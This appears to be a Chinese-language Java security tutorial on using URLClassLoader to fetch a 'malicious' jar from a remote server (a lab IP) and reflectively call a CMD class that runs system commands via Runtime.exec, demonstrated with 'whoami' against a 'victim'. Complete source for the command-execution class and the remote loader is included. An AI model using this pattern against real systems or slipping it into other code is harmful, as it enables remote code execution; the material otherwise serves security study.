0x01 前言
URLClassLoader
继承了ClassLoader
,使得URLClassLoader
提供了加载远程资源的能力,利用这个这个特性加载远程的jar来实现远程恶意类调用,非常好用
比如我们远程加载java.lang.Runtime
类 然后调用这个类的 exec
方法执行命令
# 倒霉蛋-目录结构
├── ClassLoader
│ └── CustomClassLoaderAddClassFile
│ ├── Test3.java (用来做测试的方法)
# 放在远程服务器上的
├── MaliciousTest.jar (一个恶意的jar包)
0x02 打包jar包
0x02.1 MaliciousTest包-源码
注意这是一个 maven项目
MaliciousTest.zip
0x02.2 打包好的MaliciousTest.jar
0x02.3 打包过程
// CMD类源码
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
public class CMD {
public String exec(String cmd) {
String results = null;
try {
// 获取命令执行结果的输入流
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int l = -1;
// 读取命令执行结果
while ((l = in.read(b)) != -1) {
baos.write(b, 0, l);
}
// 返回结果
results = baos.toString();
} catch (Exception e) {
e.printStackTrace();
}
return results;
}
}
0x03 倒霉蛋的whoami
0x04 例子-远程加载MaliciousClass类执行命令
// 把MaliciousTest.jar放到远程服务器上,以供外网访问
例如: http://192.168.24.134/MaliciousTest.jar
package ClassLoader.CustomClassLoaderAddClassFile;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
public class Test3 {
public static void main(String[] args) {
try {
// 定义远程加载的jar路径
URL url = new URL("http://192.168.24.134/MaliciousTest.jar");
// 创建URLClassLoader对象,并加载远程jar包
URLClassLoader ucl = new URLClassLoader(new URL[]{url});
// 通过URLClassLoader加载远程jar包中的CMD类
Class MaliciousTest = ucl.loadClass("CMD");
// 实例化
Object mInstance = MaliciousTest.newInstance();
// 获取exec方法
Method method = MaliciousTest.getMethod("exec", String.class);
// 定义需要执行的系统命令
String cmd = "whoami";
// 调用exec方法
String results = (String) method.invoke(mInstance,cmd);
System.out.println(results);
} catch (Exception e) {
e.printStackTrace();
}
}
}
// 运行结果
pmiaowu